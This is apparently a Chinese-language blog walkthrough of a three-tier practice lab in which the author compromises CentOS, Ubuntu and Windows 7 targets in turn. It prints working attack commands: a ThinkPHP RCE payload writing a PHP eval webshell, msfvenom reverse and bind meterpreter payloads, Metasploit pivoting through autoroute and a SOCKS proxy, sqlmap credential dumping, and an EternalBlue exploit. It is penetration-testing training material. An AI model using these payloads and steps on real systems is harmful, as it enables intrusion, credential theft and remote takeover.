环境下载与搭建
三层靶机的OVA文件下载地址可以在teammssix的公众号“TeamsSix”回复“CFS”以获取。
下载解压好之后先配置三张网卡
给攻击机配置网卡2
给Target1配置2,3网卡
给Target2配置网卡3,4
给Target3配置网卡4
这样环境就完全搭建好了
攻击机kali:192.168.1.129
Target1_Centos:192.168.1.128 192.168.22.128
Target2_Ubuntu: 192.168.22.129 192.168.33.128
Target3_win7: 192.168.33.33
攻击Target1
先登录宝塔后台页面,把对应的IP地址改为自己靶机的IP地址登录即可
然后把自己靶机的IP添加进去
信息收集
nmap -T4 -sV 192.168.1.128
getshell
发现80端口开放,可以先进行访问
发现是thinkphp
?s=1
传参查看具体版本
找利用方法写入一句话木马
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST['f14g']);?>
成功写入
蚁剑连接
成功getshell
获取主机权限
利用msf生成木马
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6666 -f elf > shell.elf
在攻击机上开启web服务
然后通过蚁剑终端下载生成的shell.elf
在kali上设置监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.129
set lport 6666
run
给shell.elf赋予执行权限,并执行
然后就拿到meterpreter了
Target1就已经拿下
接下来进行内网渗透
攻击Target2
同样的先登录宝塔后台页面然后添加自己靶机的IP地址
路由信息探测
我们使用msf自带的 探测网络接口的模块(get_local_subnets)查看路由的模块(autoroute -p)来进一步进行信息探测
run get_local_subnets
发现还存在一个22网段
run autoroute -p
发现并没有路由被添加
路由:路由是指路由器从一个接口上收到数据包,根据数据包的目的地址进行定向并转发到另一个接口的过程,就相当于把我们要传输的数据先传输到该路由,再发往目标,我们可以通过设置路由的方式把我们的请求从centos网段发出,这样msf不就可以与22网段互通有无了吗),所以我们要来添加一个路由(autoroute -s)
静态路由配置
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了
#通过meterpreter添加22网段的路由信息,这样kali与centos就可以互通了
run autoroute -s 192.168.22.0/24
run autoroute -p
#这一步也可以使用run post/multi/manage/autoroute自动添加路由
run post/multi/manage/autoroute
配置代理
use auxiliary/server/socks_proxy
set srvhost 192.168.1.129
set version 4a
run
配置proxychains的配置文件
信息收集
proxychains4 nmap -Pn -sT 192.168.22.129
发现依旧开着80端口,直接访问
getshell
访问的时候浏览器也要配置代理
查看源代码
应该是SQL注入
再扫一下根目录
访问一下robots.txt
访问/index.php?r=admini*出现后台页面
思路应该就是利用前面的SQL注入然后爆出账号密码,登陆后台getsell
直接用sqlmap跑
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" --dbs --batch
看一下bagecms有什么表
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms --tables --batch
看一下bage_admin下的内容
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin --columns --batch
然后在dump 账号密码
proxychains4 sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -D bagecms -T bage_admin -C username,password --dump --batch
admin
123qwe
登陆后台
查看有什么可以利用的地方
在模板的地方可以写入内容那就直接写入一句话木马
虽然写入了但是不知道一句话木马的路径
然后我们可以输出一点东西看在那个页面显示,因为是写入在tag里面找带‘标签’的页面
发现在首页–标签页面发现aaaa的输出
则一句话木马就在/index.php?r=tag路径下
蚁剑连接
成功getshell
获取主机权限
同样先生成一个木马文件
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3333 -f elf > hack.elf
把生成的hack.elf上传到蚁剑
在MSF中开启EXP,与Target2建立连接,这里需要注意,上一次代理使用的reverse_tcp是MSF作为监听,让Target1连到我们,而这次代理使用的bind_tcp是Target2作为监听,我们需要连到Target2,这个逻辑正好是相反的。
proxychains4 msfconsole
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set lport 3333
run
给hack.elf赋予权限并执行
chmod 777 hack.elf
./hack.elf
拿到meterpreter,成功拿下Target2
继续进行内网渗透
攻击Target3
路由信息探测
run get_local_subnets
发现还有一个33网段
然后添加33网段的路由
#通过meterpreter添加22网段的路由信息,这样kali与centos就可以互通了
run autoroute -s 192.168.33.0/24
run autoroute -p
#这一步也可以使用run post/multi/manage/autoroute自动添加路由
run post/multi/manage/autoroute
与之前一样,我们添加Target3的路由,由于还在那个终端里,auxiliary/server/socks_proxy正在执行,所以添加了新路由,也就可以访问新路由内网,这里就不用设置代理了,直接添加路由即可
信息收集
proxychains4 nmap -Pn -sT 192.168.33.33
发现开放445端口,直接用永恒之蓝攻击
获取主机权限
search ms17_010
use 0
options
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.33.33
set lport 4444
run
成功拿到meterpreter
拿到了system权限,可以进入shell
chcp 65001解除乱码
然后可以进行判断开启3389端口,可以使用远程登录
这是我第二次打这个靶场,第一次打得写的wp丢了只能重新打一遍,但是我第一次的时候算是第一次开始接触内网渗透,这篇文章也算是渗透打靶处女作
第一次打的时候是参考teamssix佬的博客打的,这一次是纯自己打的,我把teammsix佬的博客文章放下面,teamssix佬写的比较详细